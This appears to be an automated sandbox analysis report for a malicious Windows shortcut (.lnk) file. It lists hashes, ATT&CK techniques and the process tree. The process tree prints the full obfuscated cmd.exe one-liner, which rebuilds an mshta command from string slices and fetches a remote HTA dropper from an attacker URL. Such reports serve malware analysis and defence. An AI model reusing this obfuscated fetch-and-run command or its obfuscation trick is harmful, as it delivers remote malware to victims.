29d6bf4ea67bffbd9b4de555ee1ca62be674a57be1e68ddddf04d095495e3773

Analysis

max time kernel
40s
max time network
44s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 16:50

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General

Target
DOC-Z0QXPW.lnk
Size 2KB
Sample260803-vclfjstcpc
SHA256 29d6bf4ea67bffbd9b4de555ee1ca62be674a57be1e68ddddf04d095495e3773
MD5 4e12c93010f39a2de87176ad36507663
SHA1 d7dce651649339dc113653d483917b2adc6497bd
SHA512 3a6a1ad7cafacabbf38c7a19319123b7a0114624b3d5baf67594fea787ee7c351cc2c0d1d8ad004f261eb6c2dfcfb0af4ad9a32ff3d47055ba76ee47551b6b77
TLSH
T1485137902AEA01D8F2BB8F72EDFE274188BBBD626DA0D55D0C51804D0826749D5B7B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3536	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3536 wrote to memory of 1600	3536	cmd.exe	90
PID 1600 wrote to memory of 5736	1600	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Z0QXPW.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3536
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set nu=oldnlcbold&&set ui=bakqgmcbhykasfpzztebak&&set VS=oldbejaqwhhold&&set Dtx=netvdxqkeejnet&&set YQq=dbgngxbobampdbg&&set gCPej=tmptbipfwfovtmp&&set fuO=wingorfxdrcrnelhbwcwin&&set pZ=winjsnetwin&&set RV=sysoqyltcjmohsys&&set pJ=dbgfqvbtfizysdonxqnjdbg&&set CXIR=058sc2z&&set Bnj=78tad&&set CPT=octrt48&&set ocVP=sysmsqkrsys&&set WxXui=huvmx&&set wgPsQ=mcshti&&set Oh=v1ua1&&set qFnM=dbgpikbxyegiafonksvsadbg&&set nIN=https:/@/ma@-@pd@[email protected]@/h@/@e@st@ag@i@o1.@ph@p?@r@=3@914@69FB5@D82DB&&start /b !WxXui:~3,1!!wgPsQ:~2,3!!Oh:~3,1! !nIN:@=!&&set om=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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